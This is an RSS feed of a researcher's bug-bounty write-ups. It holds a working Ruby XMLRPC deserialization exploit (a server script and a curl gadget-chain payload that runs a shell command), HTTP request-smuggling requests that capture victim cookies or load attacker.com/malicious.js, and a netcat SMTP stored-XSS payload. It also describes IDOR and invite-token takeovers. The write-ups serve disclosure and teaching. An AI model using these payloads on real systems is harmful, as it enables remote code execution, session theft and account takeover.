<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0" xmlns:cc="http://cyber.law.harvard.edu/rss/creativeCommonsRssModule.html">
    <channel>
        <title><![CDATA[Stories by Plenum on Medium]]></title>
        <description><![CDATA[Stories by Plenum on Medium]]></description>
        <link>https://medium.com/@plenumlab?source=rss-d5bc3c7f04c0------2</link>
        <image>
            <url>https://cdn-images-1.medium.com/fit/c/150/150/0*tHWACyQzt5-aIfB4</url>
            <title>Stories by Plenum on Medium</title>
            <link>https://medium.com/@plenumlab?source=rss-d5bc3c7f04c0------2</link>
        </image>
        <generator>Medium</generator>
        <lastBuildDate>Wed, 18 Nov 2026 17:54:06 GMT</lastBuildDate>
        <atom:link href="https://medium.com/@plenumlab/feed" rel="self" type="application/rss+xml"/>
        <webMaster><![CDATA[yourfriends@medium.com]]></webMaster>
        <atom:link href="http://medium.superfeedr.com/" rel="hub"/>
        <item>
            <title><![CDATA[Identifying and Exploiting Unsafe Deserialization in Ruby]]></title>
            <link>https://infosecwriteups.com/identifying-and-exploiting-unsafe-deserialization-in-ruby-97c7cbd6c05d?source=rss-d5bc3c7f04c0------2</link>
            <guid isPermaLink="false">https://medium.com/p/97c7cbd6c05d</guid>
            <category><![CDATA[security]]></category>
            <category><![CDATA[web-security]]></category>
            <category><![CDATA[bugbounty-writeup]]></category>
            <dc:creator><![CDATA[Plenum]]></dc:creator>
            <pubDate>Tue, 01 Aug 2023 11:30:19 GMT</pubDate>
            <atom:updated>2023-08-13T11:56:52.187Z</atom:updated>
            <content:encoded><![CDATA[<p><strong>Introduction</strong></p><p>Deserialization is the process of converting a serialized object back into its original form. While this process is essential for many applications, it can introduce serious security risks if not implemented properly. In this article i will discuss how i was able to identify and exploit an unsafe deserialization vulnerability in a Ruby on Rails application, through this attack i was able achieve remote code execution.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/658/1*H5GCLB2daxAgQ1LMZW3mlQ.jpeg" /></figure><p><strong>Background</strong></p><p>Although there is quite enough research on deserialization vulnerabilities published on other languages like .Net and Java, ruby on the other hand have very little work published and usually related to the processing of Yaml input as in the example of <a href="https://cve.mitre.org/cgi-bin/cvename.cgi?name=cve-2013-0156">cve-2013–0156</a>. In this article i will explore another example similar to other languages as for previously published research by <a href="https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-JSON-Attacks-wp.pdf"><em>Alvaro Muñoz &amp; Oleksandr Mirosh </em></a>in JAVA and .NET deserialization in ruby isn’t always related to YAML and could be achieved in other data formats.</p><p><strong>Gathering information</strong></p><p>I was checking an RPC service and while trying to fuzz it i managed to cause some exception messages, this gave me a hint on what was the exact gem used to process my requests. At the beginning i was not aware of the extent of the vulnerability as i was not familiar with ruby on rails but with time i came to understand the problem and find a way to exploit it.</p><p>I found that the gem used is <a href="https://github.com/ruby/xmlrpc">XMLRPC</a> and going through the source code i found an intresting vulnerability.<br>the method `process` calls `parseMethodCall` on the provided data then returns a list with `method_name` and params hash passed to the rpc<br><a href="https://github.com/ruby/xmlrpc/blob/5cc6a7e00a9a468bb72375ecd78b086708eb2bb9/lib/xmlrpc/server.rb#L284">https://github.com/ruby/xmlrpc/blob/5cc6a7e00a9a468bb72375ecd78b086708eb2bb9/lib/xmlrpc/server.rb#L284</a></p><pre>def process(data)<br> method, params = parser().parseMethodCall(data)<br> handle(method, *params)<br>end</pre><p><a href="https://github.com/ruby/xmlrpc/blob/5cc6a7e00a9a468bb72375ecd78b086708eb2bb9/lib/xmlrpc/parser.rb#L464">https://github.com/ruby/xmlrpc/blob/5cc6a7e00a9a468bb72375ecd78b086708eb2bb9/lib/xmlrpc/parser.rb#L464</a></p><pre>def parseMethodCall(str)<br>   parser = @parser_class.new<br>   parser.parse(str)<br>   raise &quot;No valid method call - missing method name!&quot; if parser.method_name.nil?<br>   [parser.method_name, parser.params]<br>end</pre><p>Looking into parser.paramsmethod we can see that it parses the node &lt;params&gt; from the xml iterating through each &lt;param&gt; node and calling the method param on it</p><pre>def params(node, call=true)<br>        nodeMustBe(node, &quot;params&quot;)<br><br>        if call<br>          node.childNodes.to_a.collect do |n|<br>            param(n)<br>          end<br>        else # response (only one param)<br>          hasOnlyOneChild(node)<br>          param(node.firstChild)<br>        end<br> end</pre><pre>def param(node)<br>        nodeMustBe(node, &quot;param&quot;)<br>        hasOnlyOneChild(node, &quot;value&quot;)<br>        value(node.firstChild)<br> end</pre><p>Moving forward the method valueis called which will try to find the type and convert the data based on the node, the interesting line is when the element is of type struct the method struct is called on the node which is defined below</p><pre> def value(node)<br>      ...<br>        when :ELEMENT<br>          case child.nodeName<br>      ...<br>          when &quot;struct&quot;           then struct(child)<br>          when &quot;array&quot;            then array(child)<br>      ...<br> end</pre><pre> def self.struct(hash)<br>      # convert to marshalled object<br>      klass = hash[&quot;___class___&quot;]<br>      if klass.nil? or Config::ENABLE_MARSHALLING == false  # Check if<br>        hash<br>      else<br>        begin<br>          mod = Module<br>          klass.split(&quot;::&quot;).each {|const| mod = mod.const_get(const.strip)}<br><br>          obj = mod.allocate<br><br>          hash.delete &quot;___class___&quot;<br>          hash.each {|key, value|<br>            obj.instance_variable_set(&quot;@#{ key }&quot;, value) if key =~ /^([a-zA-Z_]\w*)$/<br>          }<br>          obj<br>        rescue<br>          hash<br>        end<br>      end<br>    end</pre><p>The above method will first check if ENABLE_MARSHELLING is set to true, this is by default lib/xmlrpc/config.rb</p><p>For each struct XMLRPC will use the node with ___class___ annotation to call any class and sets its instance variables using obj.instance_variable_set</p><p>Now that we have all this information we can start to look into how to actually construct the object &lt;struct&gt;</p><pre>&lt;struct&gt;<br>&lt;member&gt;<br>&lt;name&gt;___class___&lt;/name&gt;<br>&lt;value&gt;MYCLASS&lt;/value&gt;<br>&lt;/member&gt;<br>&lt;member&gt;<br>&lt;name&gt;MYVAR&lt;/name&gt;<br>&lt;value&gt;test&lt;/value&gt;<br>&lt;/member&gt;<br>&lt;/struct&gt;</pre><p>In the above example XMLRPC will create an instance of MYCLASS and sets its instance variable MYVAR to test.</p><p>Given all the details above we can achieve remote code execution using an available gadget chain, an excellent article of one of the <a href="https://devcraft.io/2021/01/07/universal-deserialisation-gadget-for-ruby-2-x-3-x.html">universal gadgets</a> published by <a href="https://twitter.com/wcbowling">vakzz</a> discussed this in details. Using a method of trial and error i was able to build the gadget in the correct format that allowed remote code execution.</p><p>The full poc is as follows</p><p>Save the following as rpc.rb</p><pre>require &#39;xmlrpc/server&#39;<br>require &#39;xmlrpc/marshal&#39;<br>require &#39;webrick&#39;<br>class MyXMLRPCServlet &lt; WEBrick::HTTPServlet::AbstractServlet<br>  def initialize(server)<br>    @xmlrpc_server = XMLRPC::BasicServer.new<br>    @xmlrpc_server.add_handler(&#39;greeting&#39;) do |firstname|<br>      puts firstname<br>    end<br>  end<br>  def do_POST(req, res)<br>    content = @xmlrpc_server.process(req.body)<br>    res.status = 200<br>    res[&#39;Content-Type&#39;] = &#39;text/xml; charset=utf-8&#39;<br>    res.body = content<br>  end<br>end<br>server = WEBrick::HTTPServer.new(<br>  Port: 8080<br>)<br>server.mount(&#39;/RPC2&#39;, MyXMLRPCServlet)<br>trap(&#39;INT&#39;) { server.shutdown }<br>puts &quot;Starting XML-RPC server on 0.0.0.0:8080...&quot;<br>server.start</pre><p>Send the following curl request</p><pre>curl -i -s -k -X &#39;POST&#39; --data-binary &#39;&lt;?xml version=\&quot;1.0\&quot; ?&gt;&lt;methodCall&gt;&lt;methodName&gt;greeting&lt;/methodName&gt;&lt;params&gt;&lt;param&gt;&lt;value&gt;&lt;array&gt;&lt;data&gt;&lt;value&gt;&lt;struct&gt;&lt;member&gt;&lt;name&gt;___class___&lt;/name&gt;&lt;value&gt;&lt;string&gt;Gem::Installer&lt;/string&gt;&lt;/value&gt;&lt;/member&gt;&lt;member&gt;&lt;name&gt;i&lt;/name&gt;&lt;value&gt;&lt;string&gt;x&lt;/string&gt;&lt;/value&gt;&lt;/member&gt;&lt;/struct&gt;&lt;/value&gt;&lt;value&gt;&lt;struct&gt;&lt;member&gt;&lt;name&gt;___class___&lt;/name&gt;&lt;value&gt;&lt;string&gt;Gem::SpecFetcher&lt;/string&gt;&lt;/value&gt;&lt;/member&gt;&lt;member&gt;&lt;name&gt;i&lt;/name&gt;&lt;value&gt;&lt;string&gt;y&lt;/string&gt;&lt;/value&gt;&lt;/member&gt;&lt;/struct&gt;&lt;/value&gt;&lt;value&gt;&lt;struct&gt;&lt;member&gt;&lt;name&gt;___class___&lt;/name&gt;&lt;value&gt;&lt;string&gt;Gem::Requirement&lt;/string&gt;&lt;/value&gt;&lt;/member&gt;&lt;member&gt;&lt;name&gt;requirements&lt;/name&gt;&lt;value&gt;&lt;struct&gt;&lt;member&gt;&lt;name&gt;___class___&lt;/name&gt;&lt;value&gt;&lt;string&gt;Gem::Package::TarReader&lt;/string&gt;&lt;/value&gt;&lt;/member&gt;&lt;member&gt;&lt;name&gt;io&lt;/name&gt;&lt;value&gt;&lt;struct&gt;&lt;member&gt;&lt;name&gt;___class___&lt;/name&gt;&lt;value&gt;&lt;string&gt;Net::BufferedIO&lt;/string&gt;&lt;/value&gt;&lt;/member&gt;&lt;member&gt;&lt;name&gt;io&lt;/name&gt;&lt;value&gt;&lt;struct&gt;&lt;member&gt;&lt;name&gt;___class___&lt;/name&gt;&lt;value&gt;&lt;string&gt;Gem::Package::TarReader::Entry&lt;/string&gt;&lt;/value&gt;&lt;/member&gt;&lt;member&gt;&lt;name&gt;read&lt;/name&gt;&lt;value&gt;&lt;i4&gt;0&lt;/i4&gt;&lt;/value&gt;&lt;/member&gt;&lt;member&gt;&lt;name&gt;header&lt;/name&gt;&lt;value&gt;&lt;string&gt;abc&lt;/string&gt;&lt;/value&gt;&lt;/member&gt;&lt;/struct&gt;&lt;/value&gt;&lt;/member&gt;&lt;member&gt;&lt;name&gt;debug_output&lt;/name&gt;&lt;value&gt;&lt;struct&gt;&lt;member&gt;&lt;name&gt;___class___&lt;/name&gt;&lt;value&gt;&lt;string&gt;Net::WriteAdapter&lt;/string&gt;&lt;/value&gt;&lt;/member&gt;&lt;member&gt;&lt;name&gt;socket&lt;/name&gt;&lt;value&gt;&lt;struct&gt;&lt;member&gt;&lt;name&gt;___class___&lt;/name&gt;&lt;value&gt;&lt;string&gt;Gem::RequestSet&lt;/string&gt;&lt;/value&gt;&lt;/member&gt;&lt;member&gt;&lt;name&gt;sets&lt;/name&gt;&lt;value&gt;&lt;struct&gt;&lt;member&gt;&lt;name&gt;___class___&lt;/name&gt;&lt;value&gt;&lt;string&gt;Net::WriteAdapter&lt;/string&gt;&lt;/value&gt;&lt;/member&gt;&lt;member&gt;&lt;name&gt;socket&lt;/name&gt;&lt;value&gt;&lt;string&gt;Kernel&lt;/string&gt;&lt;/value&gt;&lt;/member&gt;&lt;member&gt;&lt;name&gt;method_id&lt;/name&gt;&lt;value&gt;&lt;string&gt;system&lt;/string&gt;&lt;/value&gt;&lt;/member&gt;&lt;/struct&gt;&lt;/value&gt;&lt;/member&gt;&lt;member&gt;&lt;name&gt;git_set&lt;/name&gt;&lt;value&gt;&lt;string&gt;id &gt;/tmp/xmlrpc.txt&lt;/string&gt;&lt;/value&gt;&lt;/member&gt;&lt;/struct&gt;&lt;/value&gt;&lt;/member&gt;&lt;member&gt;&lt;name&gt;method_id&lt;/name&gt;&lt;value&gt;&lt;string&gt;resolve&lt;/string&gt;&lt;/value&gt;&lt;/member&gt;&lt;/struct&gt;&lt;/value&gt;&lt;/member&gt;&lt;/struct&gt;&lt;/value&gt;&lt;/member&gt;&lt;member&gt;&lt;name&gt;method_id&lt;/name&gt;&lt;value&gt;&lt;string&gt;resolve&lt;/string&gt;&lt;/value&gt;&lt;/member&gt;&lt;/struct&gt;&lt;/value&gt;&lt;/member&gt;&lt;/struct&gt;&lt;/value&gt;&lt;/data&gt;&lt;/array&gt;&lt;/value&gt;&lt;/param&gt;&lt;/params&gt;&lt;/methodCall&gt;&#39; &#39;http://localhost:8080/RPC2&#39;</pre><p>The file /tmp/xmlrpc.txt should be created.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=97c7cbd6c05d" width="1" height="1" alt=""><hr><p><a href="https://infosecwriteups.com/identifying-and-exploiting-unsafe-deserialization-in-ruby-97c7cbd6c05d">Identifying and Exploiting Unsafe Deserialization in Ruby</a> was originally published in <a href="https://infosecwriteups.com/">InfoSec Write-ups</a> on Medium, where people are continuing the conversation by highlighting and responding to this story.</p>]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Crossing The Borders : The illegal trade of HTTP requests]]></title>
            <link>https://infosecwriteups.com/crossing-the-borders-the-illegal-trade-of-http-requests-57da188520ca?source=rss-d5bc3c7f04c0------2</link>
            <guid isPermaLink="false">https://medium.com/p/57da188520ca</guid>
            <category><![CDATA[hacking]]></category>
            <category><![CDATA[security]]></category>
            <category><![CDATA[bug-bounty]]></category>
            <category><![CDATA[bugsbounty]]></category>
            <dc:creator><![CDATA[Plenum]]></dc:creator>
            <pubDate>Wed, 25 Dec 2019 22:16:05 GMT</pubDate>
            <atom:updated>2019-12-27T07:23:18.810Z</atom:updated>
            <content:encoded><![CDATA[<h3>Crossing The Borders : <strong>The illegal trade of HTTP requests</strong></h3><p><strong>TL;DR</strong>, This blog post will be the first in a series of posts that will go through some tips and tricks about finding and exploiting http request smuggling vulnurabilities.</p><p>This attack vector was recently presented by James Kettle (Albinowax), during numerous occasions he discussed the different techniques that he was able to perform in order to attack vulnerable apps, hopefully in this series i will go through some of the techniques that i came accross during testing on real targets.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/786/1*bV7qz6dkFnj8rxWaF5Dc6g.png" /><figcaption>image from Portswigger.net</figcaption></figure><p>Request smuggling is fairly complex to achieve as certain conditions must exist for a vulnerable system to be exploitable, i will go through the details in a bit, but for now keep in mind that successful detection doesn’t necessarily mean guaranteed exploitation.</p><p>As explained by James the attack takes advantage of discrepencies between several layers of a system(s) (proxies, loadbalancers…). The frontend and backend may treat requests differently, one system may use Transfer-Encoding where the other would use Content-length to process requests, an attacker would simply send a manipulated request that includes both headers, the first system would forward that request as is but the second system would think it received two different requests and would wait for the end of the request and thus any random user using the app during that time would reveive a corrupted/poisoned response.</p><p>The attack is grouped into two major categories TE.CL and CL.TE, i won’t go through the differences between the two but keep in mind that the techniques discussed here could be applied in both cases.</p><p>The first step is detecting the vuln, the vulnerability may exist on a single path but not on other paths so this step consists of simply probing every host and every single path on those hosts, this is because in modern web apps routing could be performed using host headers or paths. During this step it is recommended to use valid POST requests with valid params but if that is not possible use GET requests. James had built a reliable tool just for that with almost no false positives, so it shouldn’t be too hard to do the scanning. On a couple of occasions i was able to find request smuggling on a host by changing my ip this happened mainly when the company used cloudflare or cloudfront, it turned out that one system was vulnerable but not the rest this meant i had to hit the right origin ip to exploit this vuln, so you may also try finding the different origin ips and scan hosts using them.</p><p>Now the interesting part, exploitation, here i wanted to discuss a pretty common behavior in cdn’s, it occurs when testing host header injection, for example a company with two subdomains vuln.victim.io and api.victim.io if you try host header injection on vuln.victim.io with the host header api.victim.io you would see the content of api.victim.io this also works on some blogging services, this behaviour by itself is harmless but with request smuggling it becomes critical, this means that if request smuggling exists on one subdomain it could potentially allow an attacker to target other hosts/services.</p><p>A practical example would look like this</p><pre>POST / HTTP/1.1<br>Host: vuln.victim.io<br>Content-Type: application/x-www-form-urlencoded<br>Content-Length: 164<br>Connection: keep-alive<br>Transfer-Encoding: chunked</pre><pre>9<br>q=exploit<br>0</pre><pre>POST /personaldata HTTP/1.1<br>Host: api.victim.io<br>Content-Type: application/x-www-form-urlencoded<br>Content-Length: 300<br>Cookie: MY_COOKIES<br>Connection: close</pre><pre>bio=VICTIM REQUEST APPENDED HERE</pre><p>In this scenario i had no option but to use the api host to post data to my bio, any user requests on vuln.victim.io would get appended to my request, and the system would process that request and post the entire request including victim cookies, auth header and csrf header to my bio.</p><p>The same exact logic could be applied when trying to abuse cache and poison javascript files, James discussed that in order to perform such an attack it is possible to use directory redirects + host header injections to redirect any request to external javascript file, but this technique won’t work on certain configurations so by leveraging the behaviour discussed earlier it is possible to use an open redirect found on another host</p><pre>POST /scripts/vendor.js HTTP/1.1<br>Host: vuln.victim.io<br>Content-Type: application/x-www-form-urlencoded<br>Content-Length: 164<br>Connection: keep-alive<br>Transfer-Encoding: chunked</pre><pre>9<br>q=exploit<br>0</pre><pre>GET /?redir=https://attacker.com/malicious.js HTTP/1.1<br>Host: blog.victim.io<br>Content-Type: application/x-www-form-urlencoded<br>Content-Length: 300<br>Cookie: MY_COOKIES<br>Connection: close</pre><pre>x=VICTIM REQUEST APPENDED HERE</pre><p>In the example above, an open redirect existed on blog.victim.io but the request smuggling exits on vuln.victim.io this allowed me to target javascript files on vuln.victim.io.</p><p>Each case and each target is different so keep at them and hack the world.</p><p>Sources:</p><ul><li><a href="https://portswigger.net/web-security/request-smuggling">HTTP request smuggling</a></li><li><a href="https://portswigger.net/research/http-desync-attacks-request-smuggling-reborn">HTTP Desync Attacks: Request Smuggling Reborn</a></li></ul><p><em>Follow </em><a href="https://medium.com/bugbountywriteup"><em>Infosec Write-ups </em></a><em>for more such awesome write-ups.</em></p><p><a href="https://medium.com/bugbountywriteup">InfoSec Write-ups</a></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=57da188520ca" width="1" height="1" alt=""><hr><p><a href="https://infosecwriteups.com/crossing-the-borders-the-illegal-trade-of-http-requests-57da188520ca">Crossing The Borders : The illegal trade of HTTP requests</a> was originally published in <a href="https://infosecwriteups.com/">InfoSec Write-ups</a> on Medium, where people are continuing the conversation by highlighting and responding to this story.</p>]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[What do Netcat, SMTP and self XSS have in common? Stored XSS]]></title>
            <link>https://infosecwriteups.com/what-do-netcat-smtp-and-self-xss-have-in-common-stored-xss-a05648b72002?source=rss-d5bc3c7f04c0------2</link>
            <guid isPermaLink="false">https://medium.com/p/a05648b72002</guid>
            <category><![CDATA[security]]></category>
            <category><![CDATA[bug-bounty]]></category>
            <category><![CDATA[infosec]]></category>
            <dc:creator><![CDATA[Plenum]]></dc:creator>
            <pubDate>Tue, 16 Jul 2019 18:00:08 GMT</pubDate>
            <atom:updated>2019-07-17T10:10:50.256Z</atom:updated>
            <content:encoded><![CDATA[<p>If you are reading this you are probably wondering what is this? is this some kind of a joke? The answer is No, and it is not a clickbait, this is the story of chaining small issues and pivoting from a self XSS to a fully blown Stored XSS.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*qq3V2LhTqcKSSb9s" /><figcaption>JUST A RANDOM PHOTO</figcaption></figure><p>The journey began when i started hacking on a private program, and while doing my research i came across a self XSS issue which hey were aware of and it was explicitly out of scope. So i kept digging and started to learn how the app worked, it had CRM and other related stuff which is not really important for now. The app had multiple parts and one of them was client management with regular functionalities like create/delete/modify clients, create/attach invoices… the self xss existed in the information fields of the client’s view.</p><blockquote>&lt;a tlclick=”sendEmail(&amp;quot;email_here&amp;quot;)”&gt;email_here&lt;/a&gt;</blockquote><p>By adding a simple ‘ to the email i was able to break the html and then add my own attributes.</p><p>After some more digging i found out that if you send an email to the invoice email address the app would check if the email address of the sender existed in the client’s database and if found it would create a new ticket for that client but what if we send an email from a non client address? A new client is created along side with the new ticket.</p><p>Now since i can control parts of client information (email address), i need to be able to send really miss formed emails and the easiest way to do that is to use NETCAT. So i just opened a new terminal queried for their email server and started building the exploit.</p><p>First i had to build a working XSS then i had to figure out which characters break the SMTP syntax and encode them, ended up with a an email like this</p><blockquote>‘onmouseover=’alert&amp;#40localStorage.oauth&amp;#41&#39;@plenumsec.com</blockquote><p>The final attack looked something like this</p><pre>nc -C mxa.mailgun.org 25 <br>&gt;HELO plenumsec.com<br>&gt;MAIL FROM: &lt;&#39;onmouseover=&#39;alert&amp;#40localStorage.oauth&amp;#41&#39;@plenumsec.com&gt; <br>&gt;RCPT TO: &lt;random@target.com&gt;<br>&gt;DATA<br>From: Attacker &lt;&#39;onmouseover=&#39;alert&amp;#40localStorage.oauth&amp;#41&#39;@plenumsec.com&gt;<br>To: Victim  &lt;random@target.com&gt;<br>Subject: Urgent<br>Date: Wed, 26 Sep 2018 14:21:26 -0400<br>Hello,<br>This is a stored xss poc.<br>Goodbye.</pre><p>Now an attacker would just wait for the employee to visit the client management page or perform any action that includes the attacker’s email. The company email was completely guessable and thus could be targeted by just bruteforcing and automating the process.</p><p>One would argue that this attack could have been avoided by implementing SPF but sometimes security is not convenient for businesses so they have to make compromises.</p><p>Thanks for reading,</p><p>Regards, Plenum</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=a05648b72002" width="1" height="1" alt=""><hr><p><a href="https://infosecwriteups.com/what-do-netcat-smtp-and-self-xss-have-in-common-stored-xss-a05648b72002">What do Netcat, SMTP and self XSS have in common? Stored XSS</a> was originally published in <a href="https://infosecwriteups.com/">InfoSec Write-ups</a> on Medium, where people are continuing the conversation by highlighting and responding to this story.</p>]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Account takeover using IDOR and the misleading case of error 403.]]></title>
            <link>https://infosecwriteups.com/account-takeover-using-idor-and-the-misleading-case-of-error-403-cb42c96ea310?source=rss-d5bc3c7f04c0------2</link>
            <guid isPermaLink="false">https://medium.com/p/cb42c96ea310</guid>
            <category><![CDATA[intigriti]]></category>
            <category><![CDATA[hackerone]]></category>
            <category><![CDATA[hacking]]></category>
            <category><![CDATA[infosec]]></category>
            <category><![CDATA[bugsbounty]]></category>
            <dc:creator><![CDATA[Plenum]]></dc:creator>
            <pubDate>Tue, 11 Jun 2019 15:16:08 GMT</pubDate>
            <atom:updated>2019-06-13T09:14:27.929Z</atom:updated>
            <content:encoded><![CDATA[<p>Hello and welcome again, today i want to share with you the story of how i found a quite simple bug in under 45 minutes this bug was there for a long time and was missed by top hunters on a public program with 100+ resolved reports. This is why you should NEVER trust status codes.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*bBBNztADSkMQgO9y" /></figure><p>It was late and i was not that motivated so i went checking new programs and saw this one program that looked promessing it had simple functionalities nothing fancy, perfect for a light hunting session. The app looked pretty straightforward users can interact with other accounts posting comments and rating stuff.</p><p>Anyways once i created an account i immediatly went to check my profile to understand how the app works and answer pretty basic questions like:</p><ul><li>Does the app fetch information from an api and where is it located (a subdomain, a path on root domain)?</li><li>What kind of authentication is in place and how does it work?</li><li>Is there any id to identify current user?</li><li>Is this id being disclosed anywhere publicly?</li></ul><p>Started to get an idea of the app and then refeshed the page but this time i kept the proxy on and manually forwarded all the requests and this is where i noticed something interesting, in the app you can link your facebook account, the connect button was loaded seperatly inside an iframe the request however is what cought my eye it was a get request that looked like this</p><p><a href="https://www.redacted.com/connect/facebook_login?id=[ID]&amp;token=[TOKEN]">https://www.redacted.com/connect/facebook_login?id=[ID]&amp;token=[TOKEN]</a></p><p>No signature no hash :D</p><p>The response contained the facebook redirect link all with the necessary information to start the oauth flow including the account id so i immediatly went and created a new account and started playing with the two accounts the idea was if i can control the iframe response it maybe possible to takeover the account.</p><p>Grabbed the id from account A then went to account B modified the iframe request and forwarded the request then cliqued on connect facebook button on account B all went as planned but after the redirect from facebook i got error 403 refreshed the page on both accounts and the button still showed up but then i had an idea lets logout from account A and click connect with facebook and sure enough i was inside account A with the facebook of account B so i took over the account without the user being notified he didn’t even know he had facebook connected because the button kept showing up.</p><p>The id is not a secret i could get it by simply visiting victim’s profile, to make matters worse even if the victim had their facebook connected you can overwrite it using this method.</p><p>This is not the first time i get an error and end up finding that the attack worked you should always double check.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=cb42c96ea310" width="1" height="1" alt=""><hr><p><a href="https://infosecwriteups.com/account-takeover-using-idor-and-the-misleading-case-of-error-403-cb42c96ea310">Account takeover using IDOR and the misleading case of error 403.</a> was originally published in <a href="https://infosecwriteups.com/">InfoSec Write-ups</a> on Medium, where people are continuing the conversation by highlighting and responding to this story.</p>]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Token Brute-Force to Account Take-over to Privilege Escalation to Organization Take-Over]]></title>
            <link>https://infosecwriteups.com/token-brute-force-to-account-take-over-to-privilege-escalation-to-organization-take-over-650d14c7ce7f?source=rss-d5bc3c7f04c0------2</link>
            <guid isPermaLink="false">https://medium.com/p/650d14c7ce7f</guid>
            <category><![CDATA[infosec]]></category>
            <category><![CDATA[bug-bounty]]></category>
            <category><![CDATA[information-security]]></category>
            <dc:creator><![CDATA[Plenum]]></dc:creator>
            <pubDate>Mon, 10 Dec 2018 14:07:11 GMT</pubDate>
            <atom:updated>2018-12-10T19:19:09.672Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*TMARi_DFPl9K-Rqt-YtzBg.jpeg" /></figure><p><strong>TL;DR</strong>, Not all web vulnerabilities are a result of a technical issue, functional bugs can have critical business impact. Here is the story of how chaining simple issues and poor design flaws can result in account take over, privilege escalation and ultimately organization take-over.</p><p>While working on a private program i was testing a product on redacted.com which is basically an app to view and manage all business data collected from several apps in one place (just imagine how much valuable data is in there). Companies are able to create a work space or organization within this app, an admin would then invite users to join.</p><p>I often start with testing the invite functionality as it often result in critical issues. There are only two possible roles either user or admin, at first the invite flow seemed solid CSRF protection was in place CORS were configured properly it seemed like nothing was there and everything worked fine until, i found the first issue, there was a huge problem with the invite system, if an admin invites an external user the invitation link looked like this</p><blockquote><a href="https://login.redacted.com/accounts/?service=servicename&amp;digest=saaOBeXStZDRqgVlSRPAgPSY0">https://login.redacted.com/accounts/?service=product&amp;digest=saaOBeXStZDRqgVlSRPAgPSY0</a></blockquote><blockquote>Pretty solid right?</blockquote><p>Next I tried to invite a user that has an existing account on redacted.com and as it turns out the resulting invitation was quite different the link looked like this</p><blockquote>https://product.redacted.com/invitations?inviteId=160000002637191&amp;type=accept&amp;source=mail</blockquote><blockquote>No signature no hash nothing!!! Wait WHAAAAAAT!!!!!</blockquote><p>You can see where this is going. First, let me <em>putin </em>on my special glasses before we dive in.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/630/1*Ysd1PhnJBKFfyAdbg5KlaQ.jpeg" /></figure><p>With further inspection i came to a conclusion that the first 12 digits refers to the organization and the last 3 are the invitation id in this case 160000002637 is the organization id while 191 is the invitation id. That is easily brute-forceable.</p><p>With some more tests i figured that not only this id is bruteforceable it didn’t expire if another person used it so if admin sends invitation to X email but attacker bruteforce the token he could join the organization with email Y, Z and N emails the invite would sill be valid until email X is used. It meant that an attacker can bruteforce token infiltrate organization and the admin would still see invitation as pending, cool ha! So to summarize this part here is the scenario</p><ul><li>Admin of org sends invitation to User A with email X</li><li>Attacker bruteforce invitation ID</li><li>Attacker signup with email Y</li><li>Attacker is inside org</li><li>Admin will see that the invitation is still pending</li></ul><p>You would think OK how this would result in an organization takeover or privilege escalation, the app had also another issue, a user can view pending invitations and their roles once he finds an admin invitation he could exploit it and takeover the hole thing using the disclosed email address. In other words this would drastically decrease bruteforce attack, once he found a single valid token he would stop bruteforcing join the organization if the invite was for an admin then he hit a jackpot if the invite was for a user he would simply keep checking the pending invites section until he finds an admin invite, given the fact that an org can have large number of users, there is a great chance he would remain unnoticed.</p><p>As a bounty hunter you should look into functional bugs too as these bugs can result in a critical business impact.</p><p>Till next time,<br>Happy hunting everyone,</p><p><a href="https://medium.com/u/d5bc3c7f04c0">Plenum</a></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=650d14c7ce7f" width="1" height="1" alt=""><hr><p><a href="https://infosecwriteups.com/token-brute-force-to-account-take-over-to-privilege-escalation-to-organization-take-over-650d14c7ce7f">Token Brute-Force to Account Take-over to Privilege Escalation to Organization Take-Over</a> was originally published in <a href="https://infosecwriteups.com/">InfoSec Write-ups</a> on Medium, where people are continuing the conversation by highlighting and responding to this story.</p>]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[DUPLICATE BUT STILL COOL]]></title>
            <link>https://infosecwriteups.com/duplicate-but-still-cool-236835685075?source=rss-d5bc3c7f04c0------2</link>
            <guid isPermaLink="false">https://medium.com/p/236835685075</guid>
            <category><![CDATA[hackerone]]></category>
            <category><![CDATA[bug-bounty]]></category>
            <category><![CDATA[hacking]]></category>
            <category><![CDATA[hacker]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <dc:creator><![CDATA[Plenum]]></dc:creator>
            <pubDate>Mon, 05 Nov 2018 11:04:02 GMT</pubDate>
            <atom:updated>2018-11-08T16:45:40.519Z</atom:updated>
